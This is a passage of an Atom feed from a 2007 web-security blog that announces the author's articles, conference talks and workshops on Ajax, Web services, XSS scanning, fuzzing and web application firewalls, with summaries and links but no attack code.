class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-6844525829736885035?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6844525829736885035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6844525829736885035'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/06/devx-secure-your-wireless-networks-with.html' title='[DevX] Secure Your Wireless Networks with Scapy Packet Manipulation'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2385865689770606287</id><published>2007-05-19T03:56:00.000-07:00</published><updated>2007-05-19T04:02:50.084-07:00</updated><title type='text'>Web 2.0 and Mod Security 2.0</title><content type='html'>Ajax and Web Services are two important aspects of Web 2.0 applications. In the past I wrote articles on defending application layer using Mod Security 1.0. New version of Mod Security is out there and Ryan C. Barnett has enhanced both the articles by adding 2.0 changes. They are posted on Mod Security site for community review. Here are pointers to both the documents. You may find it helpful.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.modsecurity.org/documentation/Securing_Web_Services_with_ModSecurity_2.0.pdf"&gt;Securing Web Services with ModSecurity 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.modsecurity.org/documentation/Ajax_Fingerprinting_and_Filtering_with_ModSecurity_2.0.pdf"&gt;Ajax Fingerprinting and Filtering with ModSecurity 2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2385865689770606287?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2385865689770606287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2385865689770606287'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/05/web-20-and-mod-security-20.html' title='Web 2.0 and Mod Security 2.0'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-326244685165881477</id><published>2007-04-30T03:06:00.000-07:00</published><updated>2007-04-30T03:07:25.093-07:00</updated><title type='text'>Web 2.0 Threats and Risks for Financial Services</title><content type='html'>Web 2.0 technologies are gaining momentum worldwide, penetrating in all industries as enterprise 2.0 applications. Financial services are no exception to this trend. One of the key driving factors behind penetration of Web 2.0 into the financial services sector is the “timely availability of information”. Wells Fargo, Merill Lynch and JP Morgan are developing their next generation technologies using Web 2.0 components; components that will be used in banking software, trading portals and other peripheral services. The true advantage of RSS components is to push information to the end user rather than pull it from the Internet. The financial industry estimates that 95% of information exists in non-RSS formats and could become a key strategic advantage if it can be converted into RSS format. Wells Fargo has already implemented systems on the ground and these have started to yield benefits. Financial services are tuning into Web 2.0 but are simultaneously exposing their systems to next generation threats such as Cross site Scripting (XSS), Cross Site Request Forgery (CSRF) and Application interconnection issues due to SOA.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=1004"&gt;Read my article&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-326244685165881477?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/326244685165881477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/326244685165881477'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/04/web-20-threats-and-risks-for-financial.html' title='Web 2.0 Threats and Risks for Financial Services'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3483848510540690911</id><published>2007-04-07T05:45:00.000-07:00</published><updated>2007-04-07T05:48:03.753-07:00</updated><title type='text'>Hacking Web 2.0 - Defending Ajax and Web Services</title><content type='html'>HITB 2007 at Dubai was fun and I presented on Web 2.0 hacking. If you would like to go through slides. &lt;br /&gt;&lt;object type="application/x-shockwave-flash" data="https://s3.amazonaws.com:443/slideshare/ssplayer.swf?id=36500&amp;doc=hacking-web-20-defending-ajax-and-web-services-hitb-2007-dubai-25117" width="425" height="348"&gt;&lt;param name="movie" value="https://s3.amazonaws.com:443/slideshare/ssplayer.swf?id=36500&amp;doc=hacking-web-20-defending-ajax-and-web-services-hitb-2007-dubai-25117" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3483848510540690911?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3483848510540690911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3483848510540690911'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/04/hacking-web-20-defending-ajax-and-web.html' title='Hacking Web 2.0 - Defending Ajax and Web Services'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7706069709307432236</id><published>2007-03-20T22:38:00.000-07:00</published><updated>2007-03-20T22:40:09.841-07:00</updated><title type='text'>WEB 2.0 Hacking – Defending Ajax and Web Services</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://conference.hitb.org/hitbsecconf2007dubai/?page_id=81"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_xyOlmjdroio/RgDE_B_39vI/AAAAAAAAABs/GT57rY3B96s/s200/hitb.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5044248169802102514" /&gt;&lt;/a&gt;&lt;br /&gt;WEB 2.0 technologies for the Web application layer are still evolving. This framework consists of Web services, AJAX and SOAP/XML and while still evolving has thrown up new attack vectors. To combat the attacks one needs to understand the new methodology, tools and strategies. Steadily emerging as the first line of defense is the Web application firewall. This presentation reveals emerging security threats, some of which will be demonstrated.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://conference.hitb.org/hitbsecconf2007dubai/?page_id=81"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7706069709307432236?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7706069709307432236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7706069709307432236'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/03/web-20-hacking-defending-ajax-and-web.html' title='WEB 2.0 Hacking – Defending Ajax and Web Services'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_xyOlmjdroio/RgDE_B_39vI/AAAAAAAAABs/GT57rY3B96s/s72-c/hitb.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1925837499918605455</id><published>2007-03-20T22:35:00.000-07:00</published><updated>2007-03-20T22:37:51.811-07:00</updated><title type='text'>Advanced Web Application &amp; Services Hacking</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://conference.hitb.org/hitbsecconf2007dubai/?page_id=84"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_xyOlmjdroio/RgDESB_39uI/AAAAAAAAABk/rCFXOML0rtg/s200/hitb.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5044247396707989218" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Training at Dubai for HITB 2007.&lt;br /&gt;&lt;br /&gt;A growing concern has been Web application security Web and application servers are the target of regular attacks by attackers that exploit security loopholes or vulnerabilities in code or design. Adding to this concern are next generation applications; applications that are on the fast track and more appealing to the user, utilizing dynamic AJAX scripts, Web services and newer Web technologies to create intuitive and easy interfaces. The only constant in this space is change. In this dynamically changing scenario it is important to understand new threats that emerge in order to build constructive strategies to protect corporate assets.&lt;br /&gt;&lt;br /&gt;This two day workshop will expose students to both aspects of security: attacks and defense. To think of newer Web applications without Web services is a big mistake. Sooner or later existing applications will be forced to migrate to the new framework. This workshop includes several cases, demonstrations and hands-on exercises with newer tools to give you a headstart over others in the field.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://conference.hitb.org/hitbsecconf2007dubai/?page_id=84"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1925837499918605455?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1925837499918605455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1925837499918605455'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/03/advanced-web-application-services.html' title='Advanced Web Application &amp; Services Hacking'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_xyOlmjdroio/RgDESB_39uI/AAAAAAAAABk/rCFXOML0rtg/s72-c/hitb.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8545795187675586524</id><published>2007-03-13T22:30:00.000-07:00</published><updated>2007-03-20T22:33:57.091-07:00</updated><title type='text'>ISACA-UAE - Web Application Workshop ...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.isacauae.org/notice_board2_securing_eworld.htm"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_xyOlmjdroio/RgDDTh_39tI/AAAAAAAAABc/-ZP4JtMqb8Y/s200/isacalogo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5044246322966165202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;One day conference at Dubai on Web Application Security.&lt;br /&gt;&lt;a href="http://www.isacauae.org/notice_board2_securing_eworld.htm"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8545795187675586524?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8545795187675586524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8545795187675586524'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/03/isaca-uae-web-application-workshop.html' title='ISACA-UAE - Web Application Workshop ...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_xyOlmjdroio/RgDDTh_39tI/AAAAAAAAABc/-ZP4JtMqb8Y/s72-c/isacalogo.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-2887373556798061666</id><published>2007-03-11T22:46:00.000-07:00</published><updated>2007-03-11T22:50:08.035-07:00</updated><title type='text'>RSS Security Threats With Financial Services</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/article.php?id=990"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_xyOlmjdroio/RdRcJqIMifI/AAAAAAAAAA0/LE8bzaWgkdM/s200/hns_logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5031748004676930034" border="0" /&gt;&lt;/a&gt;Web 2.0 technologies are penetrating deeper into the financial services sector as Enterprise 2.0 solutions, adding value to financial services. Analysts can leverage information sources to go beyond the obvious. Trading and Banking companies like Wells Fargo and E*Trade are developing their next generation technologies using Web 2.0 components; components that will be used in banking software, trading portals and other peripheral services. The true advantage of RSS components is to push information to the end user rather than pull it from the Internet. The financial industry estimates that 95% of information exists in non-RSS formats and could become a key strategic advantage if it can be converted into RSS format. Wells Fargo has already implemented systems on the ground and these have started to yield benefits. RSS comes with its own security issues that assume critical significance with regard to financial services. In this article we will see some of the security concerns around RSS security and attack vectors.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=990"&gt;Read here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-2887373556798061666?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2887373556798061666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/2887373556798061666'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/03/rss-security-threats-with-financial.html' title='RSS Security Threats With Financial Services'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_xyOlmjdroio/RdRcJqIMifI/AAAAAAAAAA0/LE8bzaWgkdM/s72-c/hns_logo.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1218759497802049861</id><published>2007-03-11T22:39:00.000-07:00</published><updated>2007-03-11T22:45:46.264-07:00</updated><title type='text'>My Bio with respect to Web Security Contribution...</title><content type='html'>Anurag is running a reflection series on his blog for web security professionals. He is compiling a list of person along with their resources. He has posted mine this week. You can read it &lt;a href="http://myappsecurity.blogspot.com/2007/03/reflection-on-sheeraj-shah.html"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1218759497802049861?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1218759497802049861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1218759497802049861'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/03/my-bio-with-respect-to-web-security.html' title='My Bio with respect to Web Security Contribution...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-678433479186781877</id><published>2007-02-28T19:42:00.000-08:00</published><updated>2007-02-28T19:45:53.604-08:00</updated><title type='text'>Web 2.0 with Banks -  Web Risk: A Growing Web's Harder To Secure</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.banktechnews.com/article.html?id=20070226H0H9BV53"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px;" src="http://www.banktechnews.com/images/logo-btn.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Banks are moving towards Web 2.0 frameworks and adding risk to the application layer. This news item talks about it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.banktechnews.com/article.html?id=20070226H0H9BV53"&gt;Read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-678433479186781877?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/678433479186781877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/678433479186781877'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/02/web-20-with-banks-web-risk-growing-webs.html' title='Web 2.0 with Banks -  Web Risk: A Growing Web&apos;s Harder To Secure'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1134312430287922408</id><published>2007-02-19T22:21:00.000-08:00</published><updated>2007-03-20T22:27:23.186-07:00</updated><title type='text'>Ajax scanning on AjaxWorld</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://ajax.sys-con.com/read/338769.htm"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px;" src="http://res.sys-con.com/section/108/maglogo.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ajax Scanning technique for XSS is posted at AjaxWorld magazine.&lt;br /&gt;&lt;a href="http://ajax.sys-con.com/read/338769.htm"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1134312430287922408?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1134312430287922408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1134312430287922408'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/02/ajax-scanning-on-ajaxworld.html' title='Ajax scanning on AjaxWorld'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-5374804437215344139</id><published>2007-02-15T05:08:00.000-08:00</published><updated>2007-02-15T05:12:26.144-08:00</updated><title type='text'>Scanning Ajax for XSS Entry Points</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/article.php?id=981"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_xyOlmjdroio/RdRcJqIMifI/AAAAAAAAAA0/LE8bzaWgkdM/s200/hns_logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5031748004676930034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The continuous adoption of Web 2.0 architecture for web applications is instrumental in Ajax, Web services and Flash, emerging as key components. Ajax is a combination of technologies such as JavaScript with the XMLHttpRequest object, DOM and XML streams. Cross site scripting (XSS) can make browsers vulnerable to critical information hijacking if exploited with malicious intent. XSS is already categorized as persistent, non-persistent and DOM-based. Ajax code loaded in browser can have entry points to XSS and it is the job of the security analyst to identify these entry points. It is difficult to decisively conclude that possible entry points to an application can be exploited. One may need to do a trace or debug to measure the risk of these entry points.&lt;br /&gt;&lt;br /&gt;This paper introduces you to a quick way to identify XSS entry points in an application.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=981"&gt;Read here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-5374804437215344139?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5374804437215344139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5374804437215344139'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/02/scanning-ajax-for-xss-entry-points.html' title='Scanning Ajax for XSS Entry Points'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_xyOlmjdroio/RdRcJqIMifI/AAAAAAAAAA0/LE8bzaWgkdM/s72-c/hns_logo.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-5004356097240735897</id><published>2007-02-09T21:20:00.000-08:00</published><updated>2007-02-09T21:33:20.362-08:00</updated><title type='text'>Stateful Web Application Firewalls with .NET</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.informit.com/articles/article.asp?p=694855&amp;rl=1"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_xyOlmjdroio/Rc1ZIaIMieI/AAAAAAAAAAo/tmftxvpQZGE/s200/informit.jpg" alt="" id="BLOGGER_PHOTO_ID_5029774359830235618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A Web Application Firewall (WAF), though still evolving, is crucial for strong application layer defense. Unfortunately, HTTP is a stateless protocol, and session management is addressed at the application layer and not at the protocol layer. It is possible to bridge WAF and session objects on the .NET platform to build a stateful WAF (SWAF).&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.informit.com/articles/article.asp?p=694855&amp;amp;rl=1"&gt;Read Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-5004356097240735897?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5004356097240735897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5004356097240735897'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/02/stateful-web-application-firewalls-with.html' title='Stateful Web Application Firewalls with .NET'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_xyOlmjdroio/Rc1ZIaIMieI/AAAAAAAAAAo/tmftxvpQZGE/s72-c/informit.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-117067376815978599</id><published>2007-02-05T03:04:00.000-08:00</published><updated>2007-02-05T03:09:28.173-08:00</updated><title type='text'>Slides to Share</title><content type='html'>I found slideshare.net an interesting place to share past talks. I have posted some of my past speaking engagements at RSA, Infosecworld, AusCERT, Bellua and HITB on it. You may like it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.slideshare.net/shreeraj"&gt;Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-117067376815978599?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/117067376815978599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/117067376815978599'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/02/slides-to-share.html' title='Slides to Share'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-117016424233203804</id><published>2007-01-30T05:36:00.000-08:00</published><updated>2007-01-30T05:37:22.343-08:00</updated><title type='text'>Ajax Fingerprinting for Web 2.0 Applications</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/article.php?id=976"&gt;&lt;img style="float:left; margin:0 6px 6px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/hns_logo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Fingerprinting is an age old concept and one that adds great value to assessment methodologies. There are several tools available for fingerprinting operating systems (nmap), Web servers (httprint), devices, etc. Each one of these tools uses a different method – inspecting the TCP stack, ICMP responses, HTTP responses. With this evolution of Web 2.0 applications that use Ajax extensively, it is important to fingerprint Ajax tools, framework or library used by a particular web site or a page. This paper describes the method of doing Ajax fingerprinting with a simple prototype serving as an example.&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=976"&gt;Read Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-117016424233203804?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/117016424233203804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/117016424233203804'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/01/ajax-fingerprinting-for-web-20.html' title='Ajax Fingerprinting for Web 2.0 Applications'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-117012957556101011</id><published>2007-01-29T19:57:00.000-08:00</published><updated>2007-01-29T19:59:35.576-08:00</updated><title type='text'>Detect Your Web Application's Vulnerabilities Early with Ruby</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.devx.com/security/Article/33559"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/6364/975/200/159151/devx.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Web application fuzzing is a method of detecting a web application's vulnerabilities prior to deploying the application on a production system. Users of this approach send several malicious requests to the application and, based on the responses received, determine the application's security posture. Users also can apply fuzzing to perform tests on several different attack vectors such as SQL, XPATH, and LDAP injection, and error handling.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.devx.com/security/Article/33559"&gt;Read Here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-117012957556101011?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/117012957556101011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/117012957556101011'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/01/detect-your-web-applications.html' title='Detect Your Web Application&apos;s Vulnerabilities Early with Ruby'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-116920090627599545</id><published>2007-01-19T02:00:00.000-08:00</published><updated>2007-01-19T02:01:46.286-08:00</updated><title type='text'>Crawling Ajax-driven Web 2.0 Applications</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/article.php?id=973"&gt;&lt;img style="float:left; margin:0 6px 6px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/6364/975/200/hns_logo.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Crawling web applications is one of the key phases of automated web application scanning. The objective of crawling is to collect all possible resources from the server in order to automate vulnerability detection on each of these resources. A resource that is overlooked during this discovery phase can mean a failure to detect some vulnerabilities. The introduction of Ajax throws up new challenges for the crawling engine. New ways of handling the crawling process are required as a result of these challenges. The objective of this paper is to use a practical approach to address this issue using rbNarcissus, Watir and Ruby.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.net-security.org/article.php?id=973"&gt;Full paper&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-116920090627599545?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116920090627599545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/116920090627599545'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/01/crawling-ajax-driven-web-20.html' title='Crawling Ajax-driven Web 2.0 Applications'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 